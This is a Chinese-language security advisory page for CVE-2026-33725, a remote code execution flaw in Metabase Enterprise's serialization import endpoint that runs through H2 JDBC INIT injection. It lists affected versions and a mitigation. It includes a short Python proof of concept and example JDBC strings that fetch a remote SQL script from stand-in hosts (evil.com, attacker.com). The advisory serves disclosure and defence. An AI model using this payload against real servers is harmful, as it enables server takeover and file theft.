IPBUF安全漏洞报告
English
CVE-2026-33725 CVSS 7.2 高危

CVE-2026-33725 Metabase Enterprise 远程代码执行漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33725
漏洞类型
远程代码执行 (RCE)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Metabase Enterprise

相关标签

RCEMetabase反序列化SQL注入H2数据库CVE-2026-33725

漏洞概述

Metabase Enterprise 存在严重安全漏洞,允许经过身份认证的管理员执行远程代码。攻击者通过向 `/api/ee/serialization/import` 接口发送恶意的序列化归档文件,在 H2 JDBC 规范中注入 `INIT` 属性。当触发数据库同步时,该属性会执行任意 SQL 语句,进而导致远程代码执行和任意文件读取。此漏洞影响 Metabase Cloud 及多个旧版本 Enterprise,但开源版本不受影响。

技术细节

该漏洞的根本原因在于 Metabase Enterprise 的序列化导入功能处理不当。攻击者首先需要获取管理员级别的权限。随后,构造一个特制的序列化归档文件,该文件中包含恶意的 H2 JDBC 连接字符串。关键利用点是在连接字符串中注入 `INIT` 参数(例如 `INIT=RUNSCRIPT FROM 'http://evil.com/poc.sql'`)。当管理员通过 POST 请求上传该文件到 `/api/ee/serialization/import` 端点时,Metabase 会尝试解析并导入该配置。在后续的数据库同步过程中,系统会使用被污染的 JDBC 规范连接数据库,H2 数据库引擎会解析并执行 `INIT` 指定的 SQL 命令。由于 H2 支持通过 SQL 执行 Java 代码或读取文件,攻击者借此在服务器端执行任意系统命令,从而完全控制服务器。Metabase OSS 版本因缺少相关代码路径而免疫。

攻击链分析

STEP 1
步骤1:获取权限
攻击者获取 Metabase Enterprise 的管理员账号凭证。
STEP 2
步骤2:构造Payload
创建包含恶意 H2 JDBC 连接字符串(注入 INIT 属性)的序列化归档文件。
STEP 3
步骤3:上传文件
通过 POST 请求将恶意文件上传至 /api/ee/serialization/import 端点。
STEP 4
步骤4:触发同步
系统在处理导入或进行数据库同步时,解析恶意的 JDBC 规范。
STEP 5
步骤5:执行代码
H2 数据库执行 INIT 参数中的 SQL 命令,导致远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "https://target-metabase.com/api/ee/serialization/import" # Authenticated Admin Session Token session_token = "YOUR_ADMIN_SESSION_TOKEN" headers = { "Cookie": f"metabase.SESSION={session_token}" } # The PoC requires a crafted serialization archive file. # This file should contain an H2 JDBC spec with a malicious 'INIT' property. # Example logic inside the crafted archive: jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/exploit.sql' files = { 'file': ('exploit.mb', open('metabase_exploit.mb', 'rb'), 'application/octet-stream') } try: response = requests.post(url, headers=headers, files=files) if response.status_code == 200: print("[+] Payload uploaded successfully.") print("[*] Trigger a database sync to execute the payload.") else: print(f"[-] Upload failed with status: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

Metabase Enterprise < 1.54.22
Metabase Enterprise < 1.55.22
Metabase Enterprise < 1.56.22
Metabase Enterprise < 1.57.16
Metabase Enterprise < 1.58.10
Metabase Enterprise < 1.59.4

防御指南

临时缓解措施
禁用 Metabase 实例中的序列化导入端点,以防止访问易受攻击的代码路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表